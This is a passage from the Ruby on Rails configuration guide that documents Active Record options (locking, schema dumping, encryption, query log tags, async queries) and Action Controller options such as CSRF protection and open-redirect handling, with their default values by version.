config.active_record.schema_versions_formatter = CustomSchemaVersionsFormatter
```

#### [3.8.19. `config.active_record.lock_optimistically`](#config-active-record-lock-optimistically)

Controls whether Active Record will use optimistic locking and is `true` by default.

#### [3.8.20. `config.active_record.cache_timestamp_format`](#config-active-record-cache-timestamp-format)

Controls the format of the timestamp value in the cache key. Default is `:usec`.

#### [3.8.21. `config.active_record.record_timestamps`](#config-active-record-record-timestamps)

Is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.

#### [3.8.22. `config.active_record.partial_inserts`](#config-active-record-partial-inserts)

Is a boolean value and controls whether or not partial writes are used when creating new records (i.e. whether inserts only set attributes that are different from the default).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.0                   | `false`              |

#### [3.8.23. `config.active_record.partial_updates`](#config-active-record-partial-updates)

Is a boolean value and controls whether or not partial writes are used when updating existing records (i.e. whether updates only set attributes that are dirty). Note that when using partial updates, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.

#### [3.8.24. `config.active_record.maintain_test_schema`](#config-active-record-maintain-test-schema)

Is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`.

#### [3.8.25. `config.active_record.dump_schema_after_migration`](#config-active-record-dump-schema-after-migration)

Is a flag which controls whether or not schema dump should happen (`db/schema.rb` or `db/structure.sql`) when you run migrations. This is set to `false` in `config/environments/production.rb` which is generated by Rails. The default value is `true` if this configuration is not set.

#### [3.8.26. `config.active_record.dump_schemas`](#config-active-record-dump-schemas)

Controls which database schemas will be dumped when calling `db:schema:dump`. The options are `:schema_search_path` (the default) which dumps any schemas listed in `schema_search_path`, `:all` which always dumps all schemas regardless of the `schema_search_path`, or a string of comma separated schemas.

#### [3.8.27. `config.active_record.before_committed_on_all_records`](#config-active-record-before-committed-on-all-records)

Enable before\_committed! callbacks on all enrolled records in a transaction. The previous behavior was to only run the callbacks on the first copy of a record if there were multiple copies of the same record enrolled in the transaction.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.8.28. `config.active_record.belongs_to_required_by_default`](#config-active-record-belongs-to-required-by-default)

Is a boolean value and controls whether a record fails validation if `belongs_to` association is not present.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `nil`                |
| 5.0                   | `true`               |

#### [3.8.29. `config.active_record.belongs_to_required_validates_foreign_key`](#config-active-record-belongs-to-required-validates-foreign-key)

Enable validating only parent-related columns for presence when the parent is mandatory. The previous behavior was to validate the presence of the parent record, which performed an extra query to get the parent every time the child record was updated, even when parent has not changed.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.1                   | `false`              |

#### [3.8.30. `config.active_record.marshalling_format_version`](#config-active-record-marshalling-format-version)

When set to `7.1`, enables a more efficient serialization of Active Record instance with `Marshal.dump`.

This changes the serialization format, so models serialized this way cannot be read by older (< 7.1) versions of Rails. However, messages that use the old format can still be read, regardless of whether this optimization is enabled.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `6.1`                |
| 7.1                   | `7.1`                |

#### [3.8.31. `config.active_record.action_on_strict_loading_violation`](#config-active-record-action-on-strict-loading-violation)

Enables raising or logging an exception if strict\_loading is set on an association. The default value is `:raise` in all environments. It can be changed to `:log` to send violations to the logger instead of raising.

#### [3.8.32. `config.active_record.strict_loading_by_default`](#config-active-record-strict-loading-by-default)

Is a boolean value that either enables or disables strict\_loading mode by default. Defaults to `false`.

#### [3.8.33. `config.active_record.strict_loading_mode`](#config-active-record-strict-loading-mode)

Sets the mode in which strict loading is reported. Defaults to `:all`. It can be changed to `:n_plus_one_only` to only report when loading associations that will lead to an N + 1 query.

#### [3.8.34. `config.active_record.index_nested_attribute_errors`](#config-active-record-index-nested-attribute-errors)

Allows errors for nested `has_many` relationships to be displayed with an index as well as the error. Defaults to `false`.

#### [3.8.35. `config.active_record.use_schema_cache_dump`](#config-active-record-use-schema-cache-dump)

Enables users to get schema cache information from `db/schema_cache.yml` (generated by `bin/rails db:schema:cache:dump`), instead of having to send a query to the database to get this information. Defaults to `true`.

#### [3.8.36. `config.active_record.cache_versioning`](#config-active-record-cache-versioning)

Indicates whether to use a stable `#cache_key` method that is accompanied by a changing version in the `#cache_version` method.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.2                   | `true`               |

#### [3.8.37. `config.active_record.collection_cache_versioning`](#config-active-record-collection-cache-versioning)

Enables the same cache key to be reused when the object being cached of type `ActiveRecord::Relation` changes by moving the volatile information (max updated at and count) of the relation's cache key into the cache version to support recycling cache key.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 6.0                   | `true`               |

#### [3.8.38. `config.active_record.has_many_inversing`](#config-active-record-has-many-inversing)

Enables setting the inverse record when traversing `belongs_to` to `has_many` associations.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 6.1                   | `true`               |

#### [3.8.39. `config.active_record.automatic_scope_inversing`](#config-active-record-automatic-scope-inversing)

Enables automatically inferring the `inverse_of` for associations with a scope.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.0                   | `true`               |

#### [3.8.40. `config.active_record.destroy_association_async_job`](#config-active-record-destroy-association-async-job)

Allows specifying the job that will be used to destroy the associated records in background. It defaults to `ActiveRecord::DestroyAssociationAsyncJob`.

#### [3.8.41. `config.active_record.destroy_association_async_batch_size`](#config-active-record-destroy-association-async-batch-size)

Allows specifying the maximum number of records that will be destroyed in a background job by the `dependent: :destroy_async` association option. All else equal, a lower batch size will enqueue more, shorter-running background jobs, while a higher batch size will enqueue fewer, longer-running background jobs. This option defaults to `nil`, which will cause all dependent records for a given association to be destroyed in the same background job.

#### [3.8.42. `config.active_record.queues.destroy`](#config-active-record-queues-destroy)

Allows specifying the Active Job queue to use for destroy jobs. When this option is `nil`, purge jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)). It defaults to `nil`.

#### [3.8.43. `config.active_record.enumerate_columns_in_select_statements`](#config-active-record-enumerate-columns-in-select-statements)

When `true`, will always include column names in `SELECT` statements, and avoid wildcard `SELECT * FROM ...` queries. This avoids prepared statement cache errors when adding columns to a PostgreSQL database for example. Defaults to `false`.

#### [3.8.44. `config.active_record.verify_foreign_keys_for_fixtures`](#config-active-record-verify-foreign-keys-for-fixtures)

Ensures all foreign key constraints are valid after fixtures are loaded in tests. Supported by PostgreSQL and SQLite only.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.0                   | `true`               |

#### [3.8.45. `config.active_record.raise_on_assign_to_attr_readonly`](#config-active-record-raise-on-assign-to-attr-readonly)

Enable raising on assignment to attr\_readonly attributes. The previous behavior would allow assignment but silently not persist changes to the database.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.8.46. `config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction`](#config-active-record-run-commit-callbacks-on-first-saved-instances-in-transaction)

When multiple Active Record instances change the same record within a transaction, Rails runs `after_commit` or `after_rollback` callbacks for only one of them. This option specifies how Rails chooses which instance receives the callbacks.

When `true`, transactional callbacks are run on the first instance to save, even though its instance state may be stale.

When `false`, transactional callbacks are run on the instances with the freshest instance state. Those instances are chosen as follows:

* In general, run transactional callbacks on the last instance to save a given record within the transaction.

* There are two exceptions:

  * If the record is created within the transaction, then updated by another instance, `after_create_commit` callbacks will be run on the second instance. This is instead of the `after_update_commit` callbacks that would naively be run based on that instance’s state.
  * If the record is destroyed within the transaction, then `after_destroy_commit` callbacks will be fired on the last destroyed instance, even if a stale instance subsequently performed an update (which will have affected 0 rows).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.1                   | `false`              |

#### [3.8.47. `config.active_record.default_column_serializer`](#config-active-record-default-column-serializer)

The serializer implementation to use if none is explicitly specified for a given column.

Historically `serialize` and `store` while allowing to use alternative serializer implementations, would use `YAML` by default, but it's not a very efficient format and can be the source of security vulnerabilities if not carefully employed.

As such it is recommended to prefer stricter, more limited formats for database serialization.

Unfortunately there isn't really any suitable defaults available in Ruby's standard library. `JSON` could work as a format, but the `json` gems will cast unsupported types to strings which may lead to bugs.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `YAML`               |
| 7.1                   | `nil`                |

#### [3.8.48. `config.active_record.run_after_transaction_callbacks_in_order_defined`](#config-active-record-run-after-transaction-callbacks-in-order-defined)

When `true`, `after_commit` callbacks are executed in the order they are defined in a model. When `false`, they are executed in reverse order.

All other callbacks are always executed in the order they are defined in a model (unless you use `prepend: true`).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.8.49. `config.active_record.query_log_tags_enabled`](#config-active-record-query-log-tags-enabled)

Specifies whether or not to enable adapter-level query comments. Defaults to `false`, but is set to `true` in the default generated `config/environments/development.rb` file.

When this is set to `true` database prepared statements will be automatically disabled.

#### [3.8.50. `config.active_record.query_log_tags`](#config-active-record-query-log-tags)

Define an `Array` specifying the key/value tags to be inserted in an SQL comment. Defaults to `[ :application, :controller, :action, :job ]`. The available tags are: `:application`, `:controller`, `:namespaced_controller`, `:action`, `:job`, and `:source_location`.

Calculating the `:source_location` of a query can be slow, so you should consider its impact if using it in a production environment.

#### [3.8.51. `config.active_record.query_log_tags_format`](#config-active-record-query-log-tags-format)

A `Symbol` specifying the formatter to use for tags. Valid values are `:sqlcommenter` and `:legacy`.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:legacy`            |
| 7.1                   | `:sqlcommenter`      |

#### [3.8.52. `config.active_record.cache_query_log_tags`](#config-active-record-cache-query-log-tags)

Specifies whether or not to enable caching of query log tags. For applications that have a large number of queries, caching query log tags can provide a performance benefit when the context does not change during the lifetime of the request or job execution. Defaults to `false`.

#### [3.8.53. `config.active_record.query_log_tags_prepend_comment`](#config-active-record-query-log-tags-prepend-comment)

Specifies whether or not to prepend query log tags comment to the query.

By default comments are appended at the end of the query. Certain databases, such as MySQL will truncate the query text. This is the case for slow query logs and the results of querying some InnoDB internal tables where the length of the query is more than 1024 bytes. In order to not lose the log tags comments from the queries, you can prepend the comments using this option.

Defaults to `false`.

#### [3.8.54. `config.active_record.schema_cache_ignored_tables`](#config-active-record-schema-cache-ignored-tables)

Define the list of table that should be ignored when generating the schema cache. It accepts an `Array` of strings, representing the table names, or regular expressions.

#### [3.8.55. `config.active_record.verbose_query_logs`](#config-active-record-verbose-query-logs)

Specifies if source locations of methods that call database queries should be logged below relevant queries. By default, the flag is `true` in development and `false` in all other environments.

#### [3.8.56. `config.active_record.sqlite3_adapter_strict_strings_by_default`](#config-active-record-sqlite3-adapter-strict-strings-by-default)

Specifies whether the SQLite3Adapter should be used in a strict strings mode. The use of a strict strings mode disables double-quoted string literals.

SQLite has some quirks around double-quoted string literals. It first tries to consider double-quoted strings as identifier names, but if they don't exist it then considers them as string literals. Because of this, typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.8.57. `config.active_record.postgresql_adapter_decode_dates`](#config-active-record-postgresql-adapter-decode-dates)

Specifies whether the PostgresqlAdapter should decode date columns.

```
ActiveRecord::Base.connection
     .select_value("select '2024-01-01'::date").class #=> Date
```

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.2                   | `true`               |

#### [3.8.58. `config.active_record.async_query_executor`](#config-active-record-async-query-executor)

Specifies how asynchronous queries are pooled.

It defaults to `nil`, which means `load_async` is disabled and instead directly executes queries in the foreground. For queries to actually be performed asynchronously, it must be set to either `:global_thread_pool` or `:multi_thread_pool`.

`:global_thread_pool` will use a single pool for all databases the application connects to. This is the preferred configuration for applications with only a single database, or applications which only ever query one database shard at a time.

`:multi_thread_pool` will use one pool per database, and each pool size can be configured individually in `database.yml` through the `max_threads` and `min_threads` properties. This can be useful to applications regularly querying multiple databases at a time, and that need to more precisely define the max concurrency.

#### [3.8.59. `config.active_record.global_executor_concurrency`](#config-active-record-global-executor-concurrency)

Used in conjunction with `config.active_record.async_query_executor = :global_thread_pool`, defines how many asynchronous queries can be executed concurrently.

Defaults to `4`.

This number must be considered in accordance with the database connection pool size configured in `database.yml`. The connection pool should be large enough to accommodate both the foreground threads (ie. web server or job worker threads) and background threads.

For each process, Rails will create one global query executor that uses this many threads to process async queries. Thus, the pool size should be at least `thread_count + global_executor_concurrency + 1`. For example, if your web server has a maximum of 3 threads, and `global_executor_concurrency` is set to 4, then your pool size should be at least 8.

#### [3.8.60. `config.active_record.yaml_column_permitted_classes`](#config-active-record-yaml-column-permitted-classes)

Defaults to `[Symbol]`. Allows applications to include additional permitted classes to `safe_load()` on the `ActiveRecord::Coders::YAMLColumn`.

#### [3.8.61. `config.active_record.use_yaml_unsafe_load`](#config-active-record-use-yaml-unsafe-load)

Defaults to `false`. Allows applications to opt into using `unsafe_load` on the `ActiveRecord::Coders::YAMLColumn`.

#### [3.8.62. `config.active_record.raise_int_wider_than_64bit`](#config-active-record-raise-int-wider-than-64bit)

Defaults to `true`. Determines whether to raise an exception or not when the PostgreSQL adapter is provided an integer that is wider than signed 64bit representation.

#### [3.8.63. `config.active_record.generate_secure_token_on`](#config-active-record-generate-secure-token-on)

Controls when to generate a value for `has_secure_token` declarations. By default, generate the value when the model is initialized:

```
class User < ApplicationRecord
  has_secure_token
end

record = User.new
record.token # => "fwZcXX6SkJBJRogzMdciS7wf"
```

With `config.active_record.generate_secure_token_on = :create`, generate the value when the model is created:

```
# config/application.rb

config.active_record.generate_secure_token_on = :create

# app/models/user.rb
class User < ApplicationRecord
  has_secure_token on: :create
end

record = User.new
record.token # => nil
record.save!
record.token # => "fwZcXX6SkJBJRogzMdciS7wf"
```

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:create`            |
| 7.1                   | `:initialize`        |

#### [3.8.64. `config.active_record.permanent_connection_checkout`](#config-active-record-permanent-connection-checkout)

Controls whether `ActiveRecord::Base.connection` raises an error, emits a deprecation warning, or neither.

`ActiveRecord::Base.connection` checkouts a database connection from the pool and keeps it leased until the end of the request or job. This behavior can be undesirable in environments that use many more threads or fibers than there is available connections.

This configuration can be used to track down and eliminate code that calls `ActiveRecord::Base.connection` and migrate it to use `ActiveRecord::Base.with_connection` instead.

The value can be set to `:disallowed`, `:deprecated`, or `true` to respectively raise an error, emit a deprecation warning, or neither.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |

#### [3.8.65. `config.active_record.database_cli`](#config-active-record-database-cli)

Controls which CLI tool will be used for accessing the database when running `bin/rails dbconsole`. By default the standard tool for the database will be used (e.g. `psql` for PostgreSQL and `mysql` for MySQL). The option takes a hash which specifies the tool per-database system, and an array can be used where fallback options are required:

```
# config/application.rb

config.active_record.database_cli = { postgresql: "pgcli", mysql: %w[ mycli mysql ] }
```

#### [3.8.66. `config.active_record.use_legacy_signed_id_verifier`](#config-active-record-use-legacy-signed-id-verifier)

Controls whether signed IDs are generated and verified using legacy options. Can be set to:

* `:generate_and_verify` (default) - Generate and verify signed IDs using the following legacy options:

  ```
  { digest: "SHA256", serializer: JSON, url_safe: true }
  ```

* `:verify` - Generate and verify signed IDs using options from [`Rails.application.message_verifiers`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Application.html#method-i-message_verifiers), but fall back to verifying with the same options as `:generate_and_verify`.

* false - Generate and verify signed IDs using options from [`Rails.application.message_verifiers`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Application.html#method-i-message_verifiers) only.

The purpose of this setting is to provide a smooth transition to a unified configuration for all message verifiers. Having a unified configuration makes it more straightforward to rotate secrets and upgrade signing algorithms.

Setting this to false may cause old signed IDs to become unreadable if `Rails.application.message_verifiers` is not properly configured. Use [`MessageVerifiers#rotate`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageVerifiers.html#method-i-rotate) or [`MessageVerifiers#prepend`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageVerifiers.html#method-i-prepend) to configure `Rails.application.message_verifiers` with the appropriate options, such as `:digest` and `:url_safe`.

#### [3.8.67. `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` and `ActiveRecord::ConnectionAdapters::TrilogyAdapter.emulate_booleans`](#activerecord-connectionadapters-mysql2adapter-emulate-booleans-and-activerecord-connectionadapters-trilogyadapter-emulate-booleans)

Controls whether the Active Record MySQL adapter will consider all `tinyint(1)` columns as booleans. Defaults to `true`.

#### [3.8.68. `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables`](#activerecord-connectionadapters-postgresqladapter-create-unlogged-tables)

Controls whether database tables created by PostgreSQL should be "unlogged", which can speed up performance but adds a risk of data loss if the database crashes. It is highly recommended that you do not enable this in a production environment. Defaults to `false` in all environments.

To enable this for tests:

```
# config/environments/test.rb

ActiveSupport.on_load(:active_record_postgresqladapter) do
  self.create_unlogged_tables = true
end
```

#### [3.8.69. `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type`](#activerecord-connectionadapters-postgresqladapter-datetime-type)

Controls what native type the Active Record PostgreSQL adapter should use when you call `datetime` in a migration or schema. It takes a symbol which must correspond to one of the configured `NATIVE_DATABASE_TYPES`. The default is `:timestamp`, meaning `t.datetime` in a migration will create a "timestamp without time zone" column.

To use "timestamp with time zone":

```
# config/application.rb

ActiveSupport.on_load(:active_record_postgresqladapter) do
  self.datetime_type = :timestamptz
end
```

You should run `bin/rails db:migrate` to rebuild your schema.rb if you change this.

#### [3.8.70. `ActiveRecord::SchemaDumper.ignore_tables`](#activerecord-schemadumper-ignore-tables)

Accepts an array of tables that should *not* be included in any generated schema file.

#### [3.8.71. `ActiveRecord::SchemaDumper.fk_ignore_pattern`](#activerecord-schemadumper-fk-ignore-pattern)

Allows setting a different regular expression that will be used to decide whether a foreign key's name should be dumped to db/schema.rb or not. By default, foreign key names starting with `fk_rails_` are not exported to the database schema dump. Defaults to `/^fk_rails_[0-9a-f]{10}$/`.

#### [3.8.72. `config.active_record.encryption.support_unencrypted_data`](#config-active-record-encryption-support-unencrypted-data)

When `true`, unencrypted data can be read normally. When `false`, it will raise errors. Default: `false`.

#### [3.8.73. `config.active_record.encryption.extend_queries`](#config-active-record-encryption-extend-queries)

When `true`, queries referencing deterministically encrypted attributes will be modified to include additional values if needed. Those additional values will be the clean version of the value (when `config.active_record.encryption.support_unencrypted_data` is `true`) and values encrypted with previous encryption schemes, if any (as provided with the `previous:` option). Default: `false`.

#### [3.8.74. `config.active_record.encryption.encrypt_fixtures`](#config-active-record-encryption-encrypt-fixtures)

When `true`, encryptable attributes in fixtures will be automatically encrypted when loaded. Default: `false`.

#### [3.8.75. `config.active_record.encryption.store_key_references`](#config-active-record-encryption-store-key-references)

When `true`, a reference to the encryption key is stored in the headers of the encrypted message. This makes for faster decryption when multiple keys are in use. Default: `false`.

#### [3.8.76. `config.active_record.encryption.add_to_filter_parameters`](#config-active-record-encryption-add-to-filter-parameters)

When `true`, encrypted attribute names are added automatically to [`config.filter_parameters`](#config-filter-parameters) and won't be shown in logs. Default: `true`.

#### [3.8.77. `config.active_record.encryption.excluded_from_filter_parameters`](#config-active-record-encryption-excluded-from-filter-parameters)

You can configure a list of params that won't be filtered out when `config.active_record.encryption.add_to_filter_parameters` is true. Default: `[]`.

#### [3.8.78. `config.active_record.encryption.validate_column_size`](#config-active-record-encryption-validate-column-size)

Adds a validation based on the column size. This is recommended to prevent storing huge values using highly compressible payloads. Default: `true`.

#### [3.8.79. `config.active_record.encryption.primary_key`](#config-active-record-encryption-primary-key)

The key or lists of keys used to derive root data encryption keys. The way they are used depends on the key provider configured. It's preferred to configure it via the `active_record_encryption.primary_key` credential.

#### [3.8.80. `config.active_record.encryption.deterministic_key`](#config-active-record-encryption-deterministic-key)

The key or list of keys used for deterministic encryption. It's preferred to configure it via the `active_record_encryption.deterministic_key` credential.

#### [3.8.81. `config.active_record.encryption.key_derivation_salt`](#config-active-record-encryption-key-derivation-salt)

The salt used when deriving keys. It's preferred to configure it via the `active_record_encryption.key_derivation_salt` credential.

#### [3.8.82. `config.active_record.encryption.forced_encoding_for_deterministic_encryption`](#config-active-record-encryption-forced-encoding-for-deterministic-encryption)

The default encoding for attributes encrypted deterministically. You can disable forced encoding by setting this option to `nil`. It's `Encoding::UTF_8` by default.

#### [3.8.83. `config.active_record.encryption.hash_digest_class`](#config-active-record-encryption-hash-digest-class)

Sets the digest algorithm used by Active Record Encryption.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is      |
| --------------------- | ------------------------- |
| (original)            | `OpenSSL::Digest::SHA1`   |
| 7.1                   | `OpenSSL::Digest::SHA256` |

#### [3.8.84. `config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](#config-active-record-encryption-support-sha1-for-non-deterministic-encryption)

Enables support for decrypting existing data encrypted using a SHA-1 digest class. When `false`, it will only support the digest configured in `config.active_record.encryption.hash_digest_class`.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.1                   | `false`              |

#### [3.8.85. `config.active_record.encryption.compressor`](#config-active-record-encryption-compressor)

The compressor used to compress encrypted payloads. The default is `Zlib`. You can use your own compressor by setting this to a class that responds to `deflate` and `inflate`.

#### [3.8.86. `config.active_record.protocol_adapters`](#config-active-record-protocol-adapters)

When using a URL to configure the database connection, this option provides a mapping from the protocol to the underlying database adapter. For example, this means the environment can specify `DATABASE_URL=mysql://localhost/database` and Rails will map `mysql` to the `mysql2` adapter, but the application can also override these mappings:

```
config.active_record.protocol_adapters.mysql = "trilogy"
```

If no mapping is found, the protocol is used as the adapter name.

#### [3.8.87. `config.active_record.deprecated_associations_options`](#config-active-record-deprecated-associations-options)

If present, this has to be a hash with keys `:mode` and/or `:backtrace`:

```
config.active_record.deprecated_associations_options = { mode: :notify, backtrace: true }
```

* In `:warn` mode, accessing the deprecated association is reported by the Active Record logger. This is the default mode.

* In `:raise` mode, usage raises an `ActiveRecord::DeprecatedAssociationError` with a similar message and a clean backtrace in the exception object.

* In `:notify` mode, a `deprecated_association.active_record` Active Support notification is published. Please, see details about its payload in the [Active Support Instrumentation guide](active_support_instrumentation.html).

Backtraces are disabled by default. If `:backtrace` is true, warnings include a clean backtrace in the message, and notifications have a `:backtrace` key in the payload with an array of clean `Thread::Backtrace::Location` objects. Exceptions always have a clean stack trace.

Clean backtraces are computed using the Active Record backtrace cleaner.

#### [3.8.88. `config.active_record.raise_on_missing_required_finder_order_columns`](#config-active-record-raise-on-missing-required-finder-order-columns)

Raises an error when order dependent finder methods (e.g. `#first`, `#second`) are called without `order` values on the relation, and the model does not have any order columns (`implicit_order_column`, `query_constraints`, or `primary_key`) to fall back on.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 8.1                   | `true`               |

### [3.9. Configuring Action Controller](#configuring-action-controller)

`config.action_controller` includes a number of configuration settings:

#### [3.9.1. `config.action_controller.asset_host`](#config-action-controller-asset-host)

Sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Mailer, otherwise use `config.asset_host`.

#### [3.9.2. `config.action_controller.perform_caching`](#config-action-controller-perform-caching)

Configures whether the application should perform the caching features provided by the Action Controller component. Set to `false` in the development environment, `true` in production. If it's not specified, the default will be `true`.

#### [3.9.3. `config.action_controller.default_static_extension`](#config-action-controller-default-static-extension)

Configures the extension used for cached pages. Defaults to `.html`.

#### [3.9.4. `config.action_controller.include_all_helpers`](#config-action-controller-include-all-helpers)

Configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller.

#### [3.9.5. `config.action_controller.logger`](#config-action-controller-logger)

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.

#### [3.9.6. `config.action_controller.request_forgery_protection_token`](#config-action-controller-request-forgery-protection-token)

Sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.

#### [3.9.7. `config.action_controller.allow_forgery_protection`](#config-action-controller-allow-forgery-protection)

Enables or disables CSRF protection. By default this is `false` in the test environment and `true` in all other environments.

#### [3.9.8. `config.action_controller.forgery_protection_origin_check`](#config-action-controller-forgery-protection-origin-check)

Configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.0                   | `true`               |

#### [3.9.9. `config.action_controller.per_form_csrf_tokens`](#config-action-controller-per-form-csrf-tokens)

Configures whether CSRF tokens are only valid for the method/action they were generated for.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.0                   | `true`               |

#### [3.9.10. `config.action_controller.default_protect_from_forgery`](#config-action-controller-default-protect-from-forgery)

Determines whether forgery protection is added on `ActionController::Base`.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.2                   | `true`               |

#### [3.9.11. `config.action_controller.relative_url_root`](#config-action-controller-relative-url-root)

Can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is [`config.relative_url_root`](#config-relative-url-root).

#### [3.9.12. `config.action_controller.permit_all_parameters`](#config-action-controller-permit-all-parameters)

Sets all the parameters for mass assignment to be permitted by default. The default value is `false`.

#### [3.9.13. `config.action_controller.action_on_unpermitted_parameters`](#config-action-controller-action-on-unpermitted-parameters)

Controls behavior when parameters that are not explicitly permitted are found. The default value is `:log` in test and development environments, `false` otherwise. The values can be:

* `false` to take no action
* `:log` to emit an `ActiveSupport::Notifications.instrument` event on the `unpermitted_parameters.action_controller` topic and log at the DEBUG level
* `:raise` to raise a `ActionController::UnpermittedParameters` exception

#### [3.9.14. `config.action_controller.always_permitted_parameters`](#config-action-controller-always-permitted-parameters)

Sets a list of permitted parameters that are permitted by default. The default values are `['controller', 'action']`.

#### [3.9.15. `config.action_controller.enable_fragment_cache_logging`](#config-action-controller-enable-fragment-cache-logging)

Determines whether to log fragment cache reads and writes in verbose format as follows:

```
Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
Rendered messages/_message.html.erb in 1.2 ms [cache hit]
Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
```

By default it is set to `false` which results in following output:

```
Rendered messages/_message.html.erb in 1.2 ms [cache hit]
Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
```

#### [3.9.16. `config.action_controller.raise_on_missing_callback_actions`](#config-action-controller-raise-on-missing-callback-actions)

Raises an `AbstractController::ActionNotFound` when the action specified in callback's `:only` or `:except` options is missing in the controller.

| Starting with version | The default value is                                |
| --------------------- | --------------------------------------------------- |
| (original)            | `false`                                             |
| 7.1                   | `true` (development and test), `false` (other envs) |

#### [3.9.17. `config.action_controller.raise_on_open_redirects`](#config-action-controller-raise-on-open-redirects)

Protect an application from unintentionally redirecting to an external host (also known as an "open redirect") by making external redirects opt-in.

When this configuration is set to `true`, an `ActionController::Redirecting::UnsafeRedirectError` will be raised when a URL with an external host is passed to [redirect\_to](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Redirecting.html#method-i-redirect_to). If an open redirect should be allowed, then `allow_other_host: true` can be added to the call to `redirect_to`.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |

#### [3.9.18. `config.action_controller.action_on_open_redirect`](#config-action-controller-action-on-open-redirect)

Controls how Rails handles open redirect attempts (redirects to external hosts).

**Note:** This configuration replaces the deprecated [`config.action_controller.raise_on_open_redirects`](#config-action-controller-raise-on-open-redirects) option, which will be removed in a future Rails version. The new configuration provides more flexible control over open redirect protection.

When set to `:log`, Rails will log a warning when an open redirect is detected. When set to `:notify`, Rails will publish an `open_redirect.action_controller` notification event. When set to `:raise`, Rails will raise an `ActionController::Redirecting::UnsafeRedirectError`.

If `raise_on_open_redirects` is set to `true`, it will take precedence over this configuration for backward compatibility, effectively forcing `:raise` behavior.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:log`               |
| 7.0                   | `:raise`             |

